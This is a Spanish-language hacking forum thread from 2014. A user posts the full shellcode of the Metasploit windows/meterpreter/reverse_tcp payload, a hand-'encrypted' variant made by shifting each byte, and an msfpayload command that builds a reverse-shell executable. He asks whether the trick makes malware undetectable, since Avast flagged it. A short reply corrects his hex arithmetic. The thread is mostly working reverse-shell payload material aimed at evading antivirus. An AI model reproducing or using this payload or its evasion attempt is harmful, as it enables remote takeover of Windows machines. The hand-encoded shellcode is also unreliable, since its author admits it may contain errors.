Ayuda cifrando shellcode windows/meterpreter/reverse_tcp

Iniciado por cibi, Octubre 17, 2014, 04:14:30 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Octubre 17, 2014, 04:14:30 PM Ultima modificación: Octubre 18, 2014, 02:19:43 PM por Expermicid
Hola hace unos días publique un tema de que necesitaba el source de un payload, ahora estoy intentando cifrar la shellcode del payload: windows/meterpreter/reverse_tcp
Yo conozco un método para cifrar una shellcode que era sumándole 3 a cada byte en hexadecimal por ejemplo esta es la shellcode original del payload windows/meterpreter/reverse_tcp
Código: php
 "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" +
            "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
            "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" +
            "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
            "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
            "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
            "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3"

Según me dijo un usuario para cifrar en hexadecimal se contaba de esta manera:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f
Entonces por ejemplo si quiero cifrar el primer digito de \xFC\ cifrada seria:
\xFF\  Y luego según me dijeron le tenia que sumar 1 al otro dígito y quedaría de esta manera:
\x0F\
Ya que me dijeron que una vez llegaba a f volvía a contar desde el 0 y he hecho todo este proceso manualmente con la shellcode completa y toda cifrada quedaría así:
Código: php
"\x0F\xFB\x99\x13\x13\x13\x73\x9C\xF8\x44\xE5\x77\x9E\x65\x43\x9E" +
            "\x65\x1F\x9E\x65\x27\x9E\x85\x41\x12\xCA\x5D\x39\x44\x02\x44\xD3" +
            "\xBF\x4F\x74\x8F\x15\x3F\x33\xD4\xD2\x10\x14\xDA\xF5\x03\x65\x6A" +
            "\x9E\x65\x23\x9E\x55\x4F\x9E\x5F\x23\x8B\xF6\x5D\x14\xE4\x64\x9E" +
            "\x6C\x33\x14\xE6\x9E\x62\x31\xF6\x4F\x5C\x9E\x47\x9E\x14\xE9\x44" +
            "\x02\x44\xD3\xBF\xD4\xD2\x10\x14\xDA\x51\xF3\x88\x07\x16\x80\x0B" +
            "\x4E\x80\x37\x88\xF5\x6B\x9E\x6B\x37\x14\xE6\x79\x9E\x1F\x5E\x9E" +
            "\x6B\x2F\x14\xE6\x9E\x17\x9E\x14\xE3\x9C\x57\x37\x37\x6E\x6E\x74" +
            "\x6C\x6D\x64\x02\xF3\x6B\x62\x6D\x9E\x25\xFE\x9C\x60\x7B\x46\x45" +
            "\x13\x13\x7B\x8A\x86\x45\x62\x67\x7B\x5F\x8A\x39\x1A\x02\xE8\xCB" +
            "\xA3\x14\x13\x13\x3C\xD7\x67\x63\x7B\x3C\x93\x7E\x13\x02\xE8\x63" +
            "\x63\x63\x63\x53\x63\x53\x63\x7B\xFD\x12\xE2\xF3\x02\xE8\xAA\x7D" +
            "\x18\x7B\x82\x13\x13\x14\x7B\x15\x13\x24\x6F\x9C\xF9\x7D\x23\x69" +
            "\x6A\x7B\xAC\xB8\x87\x74\x02\xE8\x98\xD3\x87\x1F\x02\x51\x1B\x88" +
            "\xFF\x7B\x03\xC8\xB5\x69\x02\xE8\x7D\x13\x7D\x17\x69\x6A\x7B\x15" +
            "\xEC\xDB\x62\x02\xE8\x9E\x49\x7D\x53\x7B\x13\x23\x13\x13\x69\x7D" +
            "\x13\x7B\x6B\xB7\x66\xF8\x02\xE8\xA6\x66\x7D\x13\x69\x66\x6A\x7B" +
            "\x15\xEC\xDB\x62\x0B\xE8\x14\xD6\x3C\xD9\x98\x09\x88\xFF\xD6"

No se si me abre equivocado en algún dígito ya que me lio un poco, entonces una vez cifre la shellcode pase el code completo a la ruta donde se encontraba antes el payload windows/meterpreter/reverse_tcp, después de haber puesto el code del payload donde estaba antes probé en una terminal de crear un ejecutable con ese payload:
msfpayload windows/meterpreter/reverse_tcp LHOST=MI IP LPORT=4444 x > payloadcifrado.exe
Al meterlo en mi otro pc con windows y avast, el avast lo detecto...
Este método de cifrar una shellcode sumando 3 a cada byte sirve para poder crear un ejecutable malicioso indetectable, o solo sirve para exploits normales?
Haber si alguien me puede aclarar esta duda porque puede que la haya cifrado mal, me haya equivocado en algún dígito o este método ya no funcione...

No es del todo así; xFC se convertiría en xFF. Sería como si sumaras 97 + 3; quedaría 99; no 100.

Por lo demás, prácticamente no tengo idea xD
Visita mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.